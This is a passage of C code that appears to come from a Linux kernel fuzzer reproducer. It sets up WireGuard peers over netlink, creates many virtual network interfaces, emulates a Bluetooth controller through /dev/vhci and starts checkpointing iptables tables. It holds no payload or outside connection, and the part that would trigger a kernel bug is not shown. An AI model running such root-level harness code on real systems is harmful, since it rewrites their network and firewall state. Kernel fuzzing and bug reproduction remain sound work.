"\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1" "\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43"; const char private_b[] = "\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c" "\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e"; const char private_c[] = "\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15" "\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42"; const char public_a[] = "\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25" "\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c"; const char public_b[] = "\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e" "\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b"; const char public_c[] = "\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c" "\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22"; const uint16_t listen_a = 20001; const uint16_t listen_b = 20002; const uint16_t listen_c = 20003; const uint16_t af_inet = AF_INET; const uint16_t af_inet6 = AF_INET6; const struct sockaddr_in endpoint_b_v4 = { .sin_family = AF_INET, .sin_port = htons(listen_b), .sin_addr = {htonl(INADDR_LOOPBACK)}}; const struct sockaddr_in endpoint_c_v4 = { .sin_family = AF_INET, .sin_port = htons(listen_c), .sin_addr = {htonl(INADDR_LOOPBACK)}}; struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6, .sin6_port = htons(listen_a)}; endpoint_a_v6.sin6_addr = in6addr_loopback; struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6, .sin6_port = htons(listen_c)}; endpoint_c_v6.sin6_addr = in6addr_loopback; const struct in_addr first_half_v4 = {0}; const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)}; const struct in6_addr first_half_v6 = {{{0}}}; const struct in6_addr second_half_v6 = {{{0x80}}}; const uint8_t half_cidr = 1; const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19}; struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1}; int sock; int id, err; sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock == -1) { return; } id = netlink_query_family_id(&nlmsg, sock, WG_GENL_NAME, true); if (id == -1) goto error; netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, sizeof(endpoint_b_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[0], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6, sizeof(endpoint_c_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[1], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err < 0) { } netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, sizeof(endpoint_a_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[2], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4, sizeof(endpoint_c_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[3], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err < 0) { } netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, sizeof(endpoint_a_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[4], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, sizeof(endpoint_b_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[5], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err < 0) { } error: close(sock); } static void initialize_netdevices(void) { char netdevsim[16]; sprintf(netdevsim, "netdevsim%d", (int)procid); struct { const char* type; const char* dev; } devtypes[] = { {"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"}, {"vcan", "vcan0"}, {"bond", "bond0"}, {"team", "team0"}, {"dummy", "dummy0"}, {"nlmon", "nlmon0"}, {"caif", "caif0"}, {"batadv", "batadv0"}, {"vxcan", "vxcan1"}, {"netdevsim", netdevsim}, {"veth", 0}, {"xfrm", "xfrm0"}, {"wireguard", "wg0"}, {"wireguard", "wg1"}, {"wireguard", "wg2"}, }; const char* devmasters[] = {"bridge", "bond", "team", "batadv"}; struct { const char* name; int macsize; bool noipv6; } devices[] = { {"lo", ETH_ALEN}, {"sit0", 0}, {"bridge0", ETH_ALEN}, {"vcan0", 0, true}, {"tunl0", 0}, {"gre0", 0}, {"gretap0", ETH_ALEN}, {"ip_vti0", 0}, {"ip6_vti0", 0}, {"ip6tnl0", 0}, {"ip6gre0", 0}, {"ip6gretap0", ETH_ALEN}, {"erspan0", ETH_ALEN}, {"bond0", ETH_ALEN}, {"veth0", ETH_ALEN}, {"veth1", ETH_ALEN}, {"team0", ETH_ALEN}, {"veth0_to_bridge", ETH_ALEN}, {"veth1_to_bridge", ETH_ALEN}, {"veth0_to_bond", ETH_ALEN}, {"veth1_to_bond", ETH_ALEN}, {"veth0_to_team", ETH_ALEN}, {"veth1_to_team", ETH_ALEN}, {"veth0_to_hsr", ETH_ALEN}, {"veth1_to_hsr", ETH_ALEN}, {"hsr0", 0}, {"dummy0", ETH_ALEN}, {"nlmon0", 0}, {"vxcan0", 0, true}, {"vxcan1", 0, true}, {"caif0", ETH_ALEN}, {"batadv0", ETH_ALEN}, {netdevsim, ETH_ALEN}, {"xfrm0", ETH_ALEN}, {"veth0_virt_wifi", ETH_ALEN}, {"veth1_virt_wifi", ETH_ALEN}, {"virt_wifi0", ETH_ALEN}, {"veth0_vlan", ETH_ALEN}, {"veth1_vlan", ETH_ALEN}, {"vlan0", ETH_ALEN}, {"vlan1", ETH_ALEN}, {"macvlan0", ETH_ALEN}, {"macvlan1", ETH_ALEN}, {"ipvlan0", ETH_ALEN}, {"ipvlan1", ETH_ALEN}, {"veth0_macvtap", ETH_ALEN}, {"veth1_macvtap", ETH_ALEN}, {"macvtap0", ETH_ALEN}, {"macsec0", ETH_ALEN}, {"veth0_to_batadv", ETH_ALEN}, {"veth1_to_batadv", ETH_ALEN}, {"batadv_slave_0", ETH_ALEN}, {"batadv_slave_1", ETH_ALEN}, {"geneve0", ETH_ALEN}, {"geneve1", ETH_ALEN}, {"wg0", 0}, {"wg1", 0}, {"wg2", 0}, }; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); unsigned i; for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev); for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) { char master[32], slave0[32], veth0[32], slave1[32], veth1[32]; sprintf(slave0, "%s_slave_0", devmasters[i]); sprintf(veth0, "veth0_to_%s", devmasters[i]); netlink_add_veth(&nlmsg, sock, slave0, veth0); sprintf(slave1, "%s_slave_1", devmasters[i]); sprintf(veth1, "veth1_to_%s", devmasters[i]); netlink_add_veth(&nlmsg, sock, slave1, veth1); sprintf(master, "%s0", devmasters[i]); netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL); netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL); } netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL); netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL); netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr"); netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr"); netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1"); netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL); netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL); netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi"); netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0", "veth1_virt_wifi"); netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan"); netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q)); netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD)); netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan"); netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan"); netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0); netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S, IPVLAN_F_VEPA); netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap"); netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap"); netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap"); char addr[32]; sprintf(addr, DEV_IPV4, 14 + 10); struct in_addr geneve_addr4; if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0) exit(1); struct in6_addr geneve_addr6; if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0) exit(1); netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0); netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6); netdevsim_add((int)procid, 4); netlink_wireguard_setup(); for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) { char addr[32]; sprintf(addr, DEV_IPV4, i + 10); netlink_add_addr4(&nlmsg, sock, devices[i].name, addr); if (!devices[i].noipv6) { sprintf(addr, DEV_IPV6, i + 10); netlink_add_addr6(&nlmsg, sock, devices[i].name, addr); } uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40); netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr, devices[i].macsize, NULL); } close(sock); } static void initialize_netdevices_init(void) { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); struct { const char* type; int macsize; bool noipv6; bool noup; } devtypes[] = { {"nr", 7, true}, {"rose", 5, true, true}, }; unsigned i; for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) { char dev[32], addr[32]; sprintf(dev, "%s%d", devtypes[i].type, (int)procid); sprintf(addr, "172.30.%d.%d", i, (int)procid + 1); netlink_add_addr4(&nlmsg, sock, dev, addr); if (!devtypes[i].noipv6) { sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1); netlink_add_addr6(&nlmsg, sock, dev, addr); } int macsize = devtypes[i].macsize; uint64_t macaddr = 0xbbbbbb + ((unsigned long long)i << (8 * (macsize - 2))) + (procid << (8 * (macsize - 1))); netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr, macsize, NULL); } close(sock); } static int read_tun(char* data, int size) { if (tunfd < 0) return -1; int rv = read(tunfd, data, size); if (rv < 0) { if (errno == EAGAIN || errno == EBADFD) return -1; exit(1); } return rv; } static void flush_tun() { char data[1000]; while (read_tun(&data[0], sizeof(data)) != -1) { } } #define MAX_FDS 30 #define BTPROTO_HCI 1 #define ACL_LINK 1 #define SCAN_PAGE 2 typedef struct { uint8_t b[6]; } __attribute__((packed)) bdaddr_t; #define HCI_COMMAND_PKT 1 #define HCI_EVENT_PKT 4 #define HCI_VENDOR_PKT 0xff struct hci_command_hdr { uint16_t opcode; uint8_t plen; } __attribute__((packed)); struct hci_event_hdr { uint8_t evt; uint8_t plen; } __attribute__((packed)); #define HCI_EV_CONN_COMPLETE 0x03 struct hci_ev_conn_complete { uint8_t status; uint16_t handle; bdaddr_t bdaddr; uint8_t link_type; uint8_t encr_mode; } __attribute__((packed)); #define HCI_EV_CONN_REQUEST 0x04 struct hci_ev_conn_request { bdaddr_t bdaddr; uint8_t dev_class[3]; uint8_t link_type; } __attribute__((packed)); #define HCI_EV_REMOTE_FEATURES 0x0b struct hci_ev_remote_features { uint8_t status; uint16_t handle; uint8_t features[8]; } __attribute__((packed)); #define HCI_EV_CMD_COMPLETE 0x0e struct hci_ev_cmd_complete { uint8_t ncmd; uint16_t opcode; } __attribute__((packed)); #define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a #define HCI_OP_READ_BUFFER_SIZE 0x1005 struct hci_rp_read_buffer_size { uint8_t status; uint16_t acl_mtu; uint8_t sco_mtu; uint16_t acl_max_pkt; uint16_t sco_max_pkt; } __attribute__((packed)); #define HCI_OP_READ_BD_ADDR 0x1009 struct hci_rp_read_bd_addr { uint8_t status; bdaddr_t bdaddr; } __attribute__((packed)); #define HCI_EV_LE_META 0x3e struct hci_ev_le_meta { uint8_t subevent; } __attribute__((packed)); #define HCI_EV_LE_CONN_COMPLETE 0x01 struct hci_ev_le_conn_complete { uint8_t status; uint16_t handle; uint8_t role; uint8_t bdaddr_type; bdaddr_t bdaddr; uint16_t interval; uint16_t latency; uint16_t supervision_timeout; uint8_t clk_accurancy; } __attribute__((packed)); struct hci_dev_req { uint16_t dev_id; uint32_t dev_opt; }; struct vhci_vendor_pkt { uint8_t type; uint8_t opcode; uint16_t id; }; #define HCIDEVUP _IOW('H', 201, int) #define HCISETSCAN _IOW('H', 221, int) static int vhci_fd = -1; static void rfkill_unblock_all() { int fd = open("/dev/rfkill", O_WRONLY); if (fd < 0) exit(1); struct rfkill_event event = {0}; event.idx = 0; event.type = RFKILL_TYPE_ALL; event.op = RFKILL_OP_CHANGE_ALL; event.soft = 0; event.hard = 0; if (write(fd, &event, sizeof(event)) < 0) exit(1); close(fd); } static void hci_send_event_packet(int fd, uint8_t evt, void* data, size_t data_len) { struct iovec iv[3]; struct hci_event_hdr hdr; hdr.evt = evt; hdr.plen = data_len; uint8_t type = HCI_EVENT_PKT; iv[0].iov_base = &type; iv[0].iov_len = sizeof(type); iv[1].iov_base = &hdr; iv[1].iov_len = sizeof(hdr); iv[2].iov_base = data; iv[2].iov_len = data_len; if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0) exit(1); } static void hci_send_event_cmd_complete(int fd, uint16_t opcode, void* data, size_t data_len) { struct iovec iv[4]; struct hci_event_hdr hdr; hdr.evt = HCI_EV_CMD_COMPLETE; hdr.plen = sizeof(struct hci_ev_cmd_complete) + data_len; struct hci_ev_cmd_complete evt_hdr; evt_hdr.ncmd = 1; evt_hdr.opcode = opcode; uint8_t type = HCI_EVENT_PKT; iv[0].iov_base = &type; iv[0].iov_len = sizeof(type); iv[1].iov_base = &hdr; iv[1].iov_len = sizeof(hdr); iv[2].iov_base = &evt_hdr; iv[2].iov_len = sizeof(evt_hdr); iv[3].iov_base = data; iv[3].iov_len = data_len; if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0) exit(1); } static bool process_command_pkt(int fd, char* buf, ssize_t buf_size) { struct hci_command_hdr* hdr = (struct hci_command_hdr*)buf; if (buf_size < (ssize_t)sizeof(struct hci_command_hdr) || hdr->plen != buf_size - sizeof(struct hci_command_hdr)) { exit(1); } switch (hdr->opcode) { case HCI_OP_WRITE_SCAN_ENABLE: { uint8_t status = 0; hci_send_event_cmd_complete(fd, hdr->opcode, &status, sizeof(status)); return true; } case HCI_OP_READ_BD_ADDR: { struct hci_rp_read_bd_addr rp = {0}; rp.status = 0; memset(&rp.bdaddr, 0xaa, 6); hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp)); return false; } case HCI_OP_READ_BUFFER_SIZE: { struct hci_rp_read_buffer_size rp = {0}; rp.status = 0; rp.acl_mtu = 1021; rp.sco_mtu = 96; rp.acl_max_pkt = 4; rp.sco_max_pkt = 6; hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp)); return false; } } char dummy[0xf9] = {0}; hci_send_event_cmd_complete(fd, hdr->opcode, dummy, sizeof(dummy)); return false; } static void* event_thread(void* arg) { while (1) { char buf[1024] = {0}; ssize_t buf_size = read(vhci_fd, buf, sizeof(buf)); if (buf_size < 0) exit(1); if (buf_size > 0 && buf[0] == HCI_COMMAND_PKT) { if (process_command_pkt(vhci_fd, buf + 1, buf_size - 1)) break; } } return NULL; } #define HCI_HANDLE_1 200 #define HCI_HANDLE_2 201 static void initialize_vhci() { int hci_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (hci_sock < 0) exit(1); vhci_fd = open("/dev/vhci", O_RDWR); if (vhci_fd == -1) exit(1); const int kVhciFd = 241; if (dup2(vhci_fd, kVhciFd) < 0) exit(1); close(vhci_fd); vhci_fd = kVhciFd; struct vhci_vendor_pkt vendor_pkt; if (read(vhci_fd, &vendor_pkt, sizeof(vendor_pkt)) != sizeof(vendor_pkt)) exit(1); if (vendor_pkt.type != HCI_VENDOR_PKT) exit(1); pthread_t th; if (pthread_create(&th, NULL, event_thread, NULL)) exit(1); int ret = ioctl(hci_sock, HCIDEVUP, vendor_pkt.id); if (ret) { if (errno == ERFKILL) { rfkill_unblock_all(); ret = ioctl(hci_sock, HCIDEVUP, vendor_pkt.id); } if (ret && errno != EALREADY) exit(1); } struct hci_dev_req dr = {0}; dr.dev_id = vendor_pkt.id; dr.dev_opt = SCAN_PAGE; if (ioctl(hci_sock, HCISETSCAN, &dr)) exit(1); struct hci_ev_conn_request request; memset(&request, 0, sizeof(request)); memset(&request.bdaddr, 0xaa, 6); *(uint8_t*)&request.bdaddr.b[5] = 0x10; request.link_type = ACL_LINK; hci_send_event_packet(vhci_fd, HCI_EV_CONN_REQUEST, &request, sizeof(request)); struct hci_ev_conn_complete complete; memset(&complete, 0, sizeof(complete)); complete.status = 0; complete.handle = HCI_HANDLE_1; memset(&complete.bdaddr, 0xaa, 6); *(uint8_t*)&complete.bdaddr.b[5] = 0x10; complete.link_type = ACL_LINK; complete.encr_mode = 0; hci_send_event_packet(vhci_fd, HCI_EV_CONN_COMPLETE, &complete, sizeof(complete)); struct hci_ev_remote_features features; memset(&features, 0, sizeof(features)); features.status = 0; features.handle = HCI_HANDLE_1; hci_send_event_packet(vhci_fd, HCI_EV_REMOTE_FEATURES, &features, sizeof(features)); struct { struct hci_ev_le_meta le_meta; struct hci_ev_le_conn_complete le_conn; } le_conn; memset(&le_conn, 0, sizeof(le_conn)); le_conn.le_meta.subevent = HCI_EV_LE_CONN_COMPLETE; memset(&le_conn.le_conn.bdaddr, 0xaa, 6); *(uint8_t*)&le_conn.le_conn.bdaddr.b[5] = 0x11; le_conn.le_conn.role = 1; le_conn.le_conn.handle = HCI_HANDLE_2; hci_send_event_packet(vhci_fd, HCI_EV_LE_META, &le_conn, sizeof(le_conn)); pthread_join(th, NULL); close(hci_sock); } static long syz_genetlink_get_family_id(volatile long name, volatile long sock_arg) { bool dofail = false; int fd = sock_arg; if (fd < 0) { dofail = true; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (fd == -1) { return -1; } } struct nlmsg nlmsg_tmp; int ret = netlink_query_family_id(&nlmsg_tmp, fd, (char*)name, dofail); if ((int)sock_arg < 0) close(fd); if (ret < 0) { return -1; } return ret; } #define XT_TABLE_SIZE 1536 #define XT_MAX_ENTRIES 10 struct xt_counters { uint64_t pcnt, bcnt; }; struct ipt_getinfo { char name[32]; unsigned int valid_hooks; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_entries; unsigned int size; }; struct ipt_get_entries { char name[32]; unsigned int size; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct ipt_replace { char name[32]; unsigned int valid_hooks; unsigned int num_entries; unsigned int size; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_counters; struct xt_counters* counters; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct ipt_table_desc { const char* name; struct ipt_getinfo info; struct ipt_replace replace; }; static struct ipt_table_desc ipv4_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "mangle"}, {.name = "raw"}, {.name = "security"}, }; static struct ipt_table_desc ipv6_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "mangle"}, {.name = "raw"}, {.name = "security"}, }; #define IPT_BASE_CTL 64 #define IPT_SO_SET_REPLACE (IPT_BASE_CTL) #define IPT_SO_GET_INFO (IPT_BASE_CTL) #define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1) struct arpt_getinfo { char name[32]; unsigned int valid_hooks; unsigned int hook_entry[3]; unsigned int underflow[3]; unsigned int num_entries; unsigned int size; }; struct arpt_get_entries { char name[32]; unsigned int size; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct arpt_replace { char name[32]; unsigned int valid_hooks; unsigned int num_entries; unsigned int size; unsigned int hook_entry[3]; unsigned int underflow[3]; unsigned int num_counters; struct xt_counters* counters; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct arpt_table_desc { const char* name; struct arpt_getinfo info; struct arpt_replace replace; }; static struct arpt_table_desc arpt_tables[] = { {.name = "filter"}, }; #define ARPT_BASE_CTL 96 #define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL) #define ARPT_SO_GET_INFO (ARPT_BASE_CTL) #define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1) static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables, int family, int level) { int fd = socket(family, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (int i = 0; i < num_tables; i++) { struct ipt_table_desc* table = &tables[i]; strcpy(table->info.name, table->name); strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->info); 